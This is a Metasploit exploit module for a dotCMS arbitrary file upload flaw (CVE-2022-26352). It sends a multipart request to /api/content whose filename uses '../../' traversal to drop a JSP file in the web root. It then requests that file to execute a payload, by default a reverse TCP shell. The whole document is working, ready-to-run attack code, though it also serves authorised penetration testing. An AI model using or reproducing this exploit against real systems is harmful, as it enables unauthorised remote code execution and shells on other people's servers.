dotCMS Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'DotCMS RCE via Arbitrary File Upload.',  
'Description' => %q{  
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the  
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename  
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a  
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get  
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special  
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.  
},  
'Author' => [  
'Shubham Shah', # Discovery and analysis  
'Hussein Daher', # Discovery and analysis  
'jheysel-r7' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-26352'],  
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']  
],  
'Privileged' => false,  
'Platform' => %w[linux win],  
'Targets' => [  
[  
'Java Linux',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'linux'  
}  
],  
[  
'Java Windows',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'win'  
}  
]  
],  
'DisclosureDate' => '2022-05-03',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
test_content = Rex::Text.rand_text_alpha(10)  
test_file = "#{test_content}.jsp"  
test_path = "../../#{test_file}"  
uuid = Faker::Internet.uuid  
  
jsp = <<~EOS  
<%@ page import=\"java.io.File\" %>  
<%  
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");  
jsp.delete();  
%>  
#{uuid}  
EOS  
  
vars_form_data = [  
{  
'name' => 'name',  
'data' => jsp,  
'encoding' => nil,  
'filename' => test_path,  
'mime_type' => 'text/plain'  
}  
]  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/api/content/'),  
'vars_form_data' => vars_form_data  
)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, test_file.to_s)  
)  
  
if res && res.body.include?(uuid)  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def write_jsp_payload  
jsp_path = "../../#{jsp_filename}"  
print_status('Writing JSP payload')  
vars_form_data = [  
{  
'name' => 'name',  
'data' => payload.encoded,  
'encoding' => nil,  
'filename' => jsp_path,  
'mime_type' => 'text/plain'  
}  
]  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/api/content/'),  
'vars_form_data' => vars_form_data  
)  
  
unless res&.code == 500  
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')  
end  
  
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")  
print_good('Successfully wrote JSP payload')  
end  
  
def execute_jsp_payload  
jsp_uri = normalize_uri(target_uri.path, jsp_filename)  
print_status('Executing JSP payload')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => jsp_uri  
)  
  
unless res&.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')  
end  
print_good('Successfully executed JSP payload')  
end  
  
def exploit  
write_jsp_payload  
execute_jsp_payload  
end  
  
def jsp_filename  
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"  
end  
end  
`